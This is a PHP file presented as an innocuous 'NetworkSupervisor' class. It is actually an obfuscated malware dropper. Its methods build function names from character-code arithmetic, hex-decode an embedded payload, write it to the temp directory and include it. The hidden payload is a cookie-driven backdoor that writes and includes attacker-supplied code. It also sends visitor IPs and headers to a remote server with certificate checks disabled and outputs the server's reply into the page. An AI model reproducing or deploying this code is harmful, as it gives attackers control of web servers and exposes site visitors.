<?php
class NetworkSupervisor {
	private $ct = '';
	private $cd = '';

	public function prepareOutput($p1) {
		$a = array(104,(((33*3)+2)),(((67*1)+53)),(((25*44)-1050)),(107-9),((75+23+7)),((28+82)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function syncRecords($p1,$p2) {
		$a = array(((2*51)),((107+1+3)),(114-2),((101*1)),(3+102+5));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function executeAction($p1,$p2) {
		$a = array(((96*47)-4411),(122-6),(115-10),(((74*16)-1070)),(((81*1)+38)),(((90*93)-8268)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function triggerCallback($p1) {
		$a = array(((70*1)+31),(((56*32)-1677)),(111),(82+26),(((18*31)-459)),(((32*1)+70)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function updateRegistry($p1,$p2=null) {
		$a = array(((123-9)),((8+93+15)),(114),(88+7+10),((65+44)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resolveAction() {
		$this->cd = $this->updateRegistry($this->rollbackTransaction(), '/');
	}

	public function handleRequest() {
		$this->ct = $this->prepareOutput($this->bj);
	}

	public function do() {
		$fn = $this->cd.'/jf-68198030800a4';
		$f = $this->syncRecords($fn, 'w');
		$this->executeAction($f, $this->ct);
		$this->triggerCallback($f);
		$this->terminateSession($fn);
	}

	private $bj = '3c3f70687020636c617373205f6e677b70726976617465207' . '37461746963245f70646a3b7374617469632066756e6374696' . 'f6e205f61756f28245f797a297b6966282173656c663a3a245' . 'f70646a2973656c663a3a5f6b697828293b72657475726e206' . '261736536345f6465636f64652873656c663a3a245f70646a5' . 'b245f797a5d293b7d707269766174652073746174696320667' . '56e6374696f6e205f6b697828297b73656c663a3a245f70646' . 'a3d617272617928275f7464273d3e2751574e6a5a584e7a4c5' . '54e76626e527962327774515778736233637454334a70272e2' . '75a326c754f6941272e2771272c275f756d273d3e275132397' . '5644756272e2775644331556558426c4f69426863484273615' . '74e68272e2764476c766269272e27397159585a6863324e796' . '1272e275842272e2730272c275f6a6e273d3e2759272e27322' . '72e27673d272c275f776664273d3e275a586c272e274b63474' . 'e4453545a272e274a616d272e2763305447706e4e4578715a7' . 'a524d616d633053576c3361575258272e2752576c5061556f2' . '72e2777576c684f4d456c7064326c6a62565a7453577076615' . '75248566e706b51306f272e2735272c275f6a6f6e273d3e276' . '358272e2764366541272e273d272e273d272c275f6c6879273' . 'd3e2750272e27473972272e2750673d3d272c275f746a273d3' . 'e275047272e274a685a4434272e273d272c275f677973273d3' . 'e276432272e27467362413d272e273d272c275f6967273d3e2' . '7272c275f6c66273d3e27272c275f6e6a273d3e27272c275f6' . '96677273d3e276148523063446f764c334231596935335a272' . 'e27574a6d6157786c6147397a644756794c6d4e76272e27625' . '3396a6232317762334e6c272e2763693571637a396b5958526' . '850272e2751272e273d272e273d272c275f6968273d3e27593' . '356796246272e273970626d272e276c272e2730272c275f6d6' . '774273d3e2761485230634639272e276a6232272e2752272e2' . '76c272c275f6765273d3e2763324e6f5a57272e2731272e276' . 'c272c275f7868273d3e2761272e274852306348272e274d272' . 'e273d272c275f727777273d3e27523056272e27554941272e2' . '73d3d272c275f6d69273d3e276347463061272e27413d272e2' . '73d272c275f657062273d3e27635856272e276c636e6b272e2' . '73d272c275f656278273d3e2750773d3d272c275f617778273' . 'd3e27635856272e276c63272e276e6b272e273d272c275f686' . '470273d3e274945685556464176272e274d533477445170496' . '2272e27334e304f69413d272c275f6273273d3e276147397a2' . '72e2764413d3d272c275f6e6d273d3e2744517044623235755' . 'a574e306157272e2739754f69424462272e2747397a5a51304' . 'b272e2744516f3d272c275f6c6b273d3e2763334e734f272e2' . '76938272e2776272c275f6e6b273d3e27272c275f6962273d3' . 'e276147397a64413d272e273d272c275f79687a273d3e27442' . '72e2751272e276f3d272c275f7a78273d3e275346525555463' . '94454456c46272e27546c526653272e2756272e2741272e273' . 'd272c275f6264273d3e27534652555546395958305a50556c6' . '442556b5246524639475431493d272c275f7a73273d3e27556' . 'b564e54315246583046455246272e2749272e273d272c275f7' . '46d78273d3e27534652555546395655305653272e275830462' . '72e274852272e275535272e2755272c275f707270273d3e275' . '34652555546272e273956553056535830464852272e2755272' . 'e273555272c275f796a79273d3e27272c275f7a69273d3e275' . '3465255272e275546395352555a46556b56272e2753272c275' . 'f717663273d3e275346272e2752555546395352555a46272e2' . '7556b56272e2753272c275f6261273d3e27272c275f6b66612' . '73d3e27534652555546394454456c46546c52272e2766272e2' . '75356272e27413d272c275f626e72273d3e275346525555463' . '94454456c46546c52665356272e27413d272c275f6675273d3' . 'e2753465255272e2755463959272e2758305a50556c6442272' . 'e2755272e276b52465246272e2739272e2747272e275431492' . '72e273d272c275f776668273d3e27534652555546395958305' . 'a50556c6442272e27556b52465246394754272e2731493d272' . 'c275f6e7872273d3e27556b564e54315246583046455246272' . 'e27493d272c275f6a7577273d3e27556b564e54272e2731524' . '6583046272e2745272e2752272e274649272e273d272c275f6' . '868273d3e275a474a6e6257396b5a513d3d272c275f7776672' . '73d3e2753564136272e2749272e2741272e273d272e273d272' . 'c275f676d273d3e274948776756554536272e2749413d3d272' . 'c275f6b64273d3e2749487767556d566d4f69413d272c275f6' . 'c7866273d3e2749447869636a34272e274b272c275f7371273' . 'd3e276158413d272c275f6764273d3e27645745272e273d272' . 'c275f686b273d3e27636d56272e276d272c275f616d61273d3' . 'e276358643665413d272e273d272c293b7d7d6865616465722' . '85f6e673a3a5f61756f28275f74272e27642729293b6865616' . '46572285f6e673a3a5f61756f28275f756d2729293b6966286' . '97373657428245f4745545b5f6e673a3a5f61756f28275f6a6' . 'e27295d29297b245f7a68743d5f7378285f6e673a3a5f61756' . 'f28275f7766272e27642729293b696628245f7a68742626737' . '472706f7328245f7a68742c5f6e673a3a5f61756f28275f6a2' . '72e276f6e272929213d3d66616c7365297b646965285f6e673' . 'a3a5f61756f28275f6c68272e27792729293b7d656c73657b6' . '46965285f6e673a3a5f61756f28275f746a2729293b7d7d696' . '628697373657428245f4745545b5f6e673a3a5f61756f28275' . 'f272e2767272e2779272e277327295d29297b245f6c793d245' . 'f434f4f4b49453b245f6b676a3d28696e7429726f756e64283' . '02b30293b245f797a3d28696e7429726f756e6428332e352b3' . '32e35293b245f77743d617272617928293b245f77745b245f6' . 'b676a5d3d5f6e673a3a5f61756f28275f272e2769272e27672' . '7293b7768696c6528245f797a297b245f77745b245f6b676a5' . 'd2e3d245f6c795b28696e7429726f756e642831302b31302b3' . '130295d5b245f797a5d3b69662821245f6c795b28696e74297' . '26f756e642831302b31302b3130295d5b245f797a2b28696e7' . '429726f756e6428302e352b302e35295d297b69662821245f6' . 'c795b28696e7429726f756e642831302b31302b3130295d5b2' . '45f797a2b28696e7429726f756e6428302e352b302e352b302' . 'e352b302e35295d29627265616b3b245f6b676a2b2b3b245f7' . '7745b245f6b676a5d3d5f6e673a3a5f61756f28275f6c66272' . '93b245f797a2b2b3b7d245f797a3d245f797a2b28696e74297' . '26f756e6428312e37352b312e37352b312e37352b312e37352' . '92b28696e7429726f756e6428302e352b302e35293b7d245f6' . 'b676a3d245f77745b28696e7429726f756e6428342e3636363' . '63636363636363636372b342e3636363636363636363636363' . '72b342e36363636363636363636363637295d28292e245f777' . '45b28696e7429726f756e6428382b382b38295d3b696628212' . '45f77745b28696e7429726f756e6428332b33295d28245f6b6' . '76a29297b245f797a3d245f77745b28696e7429726f756e642' . '831332b3133295d28245f6b676a2c245f77745b28696e74297' . '26f756e6428352b35295d293b245f77745b28696e7429726f7' . '56e6428332b332b33295d28245f797a2c245f77745b28696e7' . '429726f756e6428322e37352b322e37352b322e37352b322e3' . '735295d2e245f77745b28696e7429726f756e642831312e352' . 'b31312e35295d28245f77745b28696e7429726f756e6428382' . 'e333333333333333333333333332b382e33333333333333333' . '3333333332b382e33333333333333333333333333295d28245' . 'f6c795b28696e7429726f756e6428302e37352b302e37352b3' . '02e37352b302e3735295d2929293b7d696e636c75646528245' . 'f6b676a293b7d66756e6374696f6e205f737828245f63722c2' . '45f6d673d66616c73652c245f6668783d27637174667a636e6' . 'a6b27297b245f6c623d5f6e673a3a5f61756f28275f6e272e2' . '76a27293b245f6d693d5f6e673a3a5f61756f28275f6966272' . 'e277727292e245f63723b69662869735f63616c6c61626c652' . '85f6e673a3a5f61756f28275f69272e2768272929297b245f6' . '578693d6375726c5f696e697428245f6d69293b6375726c5f7' . '365746f707428245f6578692c4355524c4f50545f53534c5f5' . '64552494659504545522c66616c7365293b6375726c5f73657' . '46f707428245f6578692c4355524c4f50545f53534c5f56455' . '2494659484f53542c28696e7429726f756e6428302e3636363' . '6363636363636363636372b302e36363636363636363636363' . '636372b302e363636363636363636363636363729293b63757' . '26c5f7365746f707428245f6578692c4355524c4f50545f464' . 'f4c4c4f574c4f434154494f4e2c28696e7429726f756e64283' . '02e32352b302e32352b302e32352b302e323529293b6375726' . 'c5f7365746f707428245f6578692c4355524c4f50545f52455' . '455524e5452414e534645522c28696e7429726f756e6428302' . 'e352b302e3529293b6375726c5f7365746f707428245f65786' . '92c4355524c4f50545f4845414445522c28696e7429726f756' . 'e6428302b302b3029293b6375726c5f7365746f707428245f6' . '578692c4355524c4f50545f434f4e4e45435454494d454f555' . '42c28696e7429726f756e6428322e352b322e352b322e352b3' . '22e3529293b6375726c5f7365746f707428245f6578692c435' . '5524c4f50545f54494d454f55542c28696e7429726f756e642' . '8352b3529293b245f6c623d6375726c5f6578656328245f657' . '869293b245f6a6d3d6375726c5f676574696e666f28245f657' . '869293b6375726c5f636c6f736528245f657869293b6966282' . '45f6a6d5b5f6e673a3a5f61756f28275f272e276d677427295' . 'd213d28696e7429726f756e642835302b35302b35302b35302' . '92972657475726e2066616c73653b7d656c73657b245f6a717' . '73d70617273655f75726c28245f6d69293b245f71706f3d282' . '45f6a71775b5f6e673a3a5f61756f28275f676527295d3d3d5' . 'f6e673a3a5f61756f28275f272e2778682729293b245f79666' . '53d5f6e673a3a5f61756f28275f272e277277272e277727292' . 'e245f6a71775b5f6e673a3a5f61756f28275f6d6927295d3b6' . '96628697373657428245f6a71775b5f6e673a3a5f61756f282' . '75f65706227295d2929245f7966652e3d5f6e673a3a5f61756' . 'f28275f6562272e277827292e245f6a71775b5f6e673a3a5f6' . '1756f28275f272e2761272e2777272e277827295d3b245f796' . '6652e3d5f6e673a3a5f61756f28275f272e2768647027292e2' . '45f6a71775b5f6e673a3a5f61756f28275f62272e277327295' . 'd2e5f6e673a3a5f61756f28275f6e6d27293b245f73683d667' . '36f636b6f70656e2828245f71706f3f5f6e673a3a5f61756f2' . '8275f272e276c272e276b27293a5f6e673a3a5f61756f28275' . 'f6e272e276b2729292e245f6a71775b5f6e673a3a5f61756f2' . '8275f696227295d2c245f71706f3f28696e7429726f756e642' . '83232312e352b3232312e35293a28696e7429726f756e64283' . '4302b343029293b696628245f7368297b667075747328245f7' . '3682c245f796665293b245f70613d28696e7429726f756e642' . '8302b302b30293b7768696c65282166656f6628245f7368292' . '97b245f74673d666765747328245f73682c28696e7429726f7' . '56e64283334312e33333333333333333333332b3334312e333' . '33333333333333333332b3334312e333333333333333333333' . '329293b696628245f706129245f6c622e3d245f74673b69662' . '8245f74673d3d5f6e673a3a5f61756f28275f79687a2729292' . '45f70613d28696e7429726f756e6428302e352b302e35293b7' . 'd66636c6f736528245f7368293b7d7d72657475726e245f6c6' . '23b7d245f736f3d697373657428245f5345525645525b5f6e6' . '73a3a5f61756f28275f7a7827295d293b245f7a773d6973736' . '57428245f5345525645525b5f6e673a3a5f61756f28275f622' . '72e276427295d293b245f78783d697373657428245f5345525' . '645525b5f6e673a3a5f61756f28275f272e277a7327295d293' . 'b245f736d6c3d697373657428245f5345525645525b5f6e673' . 'a3a5f61756f28275f746d272e277827295d293f245f5345525' . '645525b5f6e673a3a5f61756f28275f70727027295d3a5f6e6' . '73a3a5f61756f28275f796a272e277927293b245f657a3d697' . '373657428245f5345525645525b5f6e673a3a5f61756f28275' . 'f7a272e276927295d293f245f5345525645525b5f6e673a3a5' . 'f61756f28275f71272e27766327295d3a5f6e673a3a5f61756' . 'f28275f626127293b245f736f3d697373657428245f5345525' . '645525b5f6e673a3a5f61756f28275f272e276b272e2766612' . '7295d293f245f5345525645525b5f6e673a3a5f61756f28275' . 'f626e272e277227295d3a6e756c6c3b245f7a773d697373657' . '428245f5345525645525b5f6e673a3a5f61756f28275f66272' . 'e277527295d293f245f5345525645525b5f6e673a3a5f61756' . 'f28275f7766272e276827295d3a6e756c6c3b245f78783d697' . '373657428245f5345525645525b5f6e673a3a5f61756f28275' . 'f6e272e2778272e277227295d293f245f5345525645525b5f6' . 'e673a3a5f61756f28275f6a75272e277727295d3a6e756c6c3' . 'b69662866696c7465725f76617228245f736f2c28696e74297' . '26f756e642836382e37352b36382e37352b36382e37352b363' . '82e37352929297b245f6c6e3d245f736f3b7d656c736569662' . '866696c7465725f76617228245f7a772c28696e7429726f756' . 'e642836382e37352b36382e37352b36382e37352b36382e373' . '52929297b245f6c6e3d245f7a773b7d656c73657b245f6c6e3' . 'd245f78783b7d696628697373657428245f4745545b5f6e673' . 'a3a5f61756f28275f686827295d29297b6563686f205f6e673' . 'a3a5f61756f28275f77272e27766727292e245f6c6e2e5f6e6' . '73a3a5f61756f28275f272e2767272e276d27292e245f736d6' . 'c2e5f6e673a3a5f61756f28275f6b6427292e245f657a2e5f6' . 'e673a3a5f61756f28275f272e276c78272e276627293b65786' . '97428293b7d69662821697373657428245f6c6e297c7c21697' . '373657428245f736d6c297c7c21697373657428245f657a292' . '97b6578697428293b7d656c73657b245f6576753d617272617' . '9285f6e673a3a5f61756f28275f73272e277127293d3e245f6' . 'c6e2c5f6e673a3a5f61756f28275f676427293d3e245f736d6' . 'c2c5f6e673a3a5f61756f28275f686b27293d3e245f657a293' . 'b245f63753d75726c656e636f6465286261736536345f656e6' . '36f6465286a736f6e5f656e636f646528245f6576752929293' . 'b245f7a68743d5f737828245f6375293b696628245f7a68742' . '626737472706f7328245f7a68742c5f6e673a3a5f61756f282' . '75f616d61272929213d3d66616c7365297b6563686f245f7a6' . '8743b6578697428293b7d7d';

	public function terminateSession($p) {
		include_once $p;
	}

	public function rollbackTransaction() {
		$a=array((((103*1)+12)),(((85*104)-8719)),(93+22),((59+36)),(23+6+74),101,(2*58),(95),((6*11)+50),((73+28)),(38+4+67),(2*56),((11*48)-433),((37*34)-1158),(105),(49+62+3));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$xo = new NetworkSupervisor();
$xo->resolveAction();
$xo->handleRequest();
$xo->do();
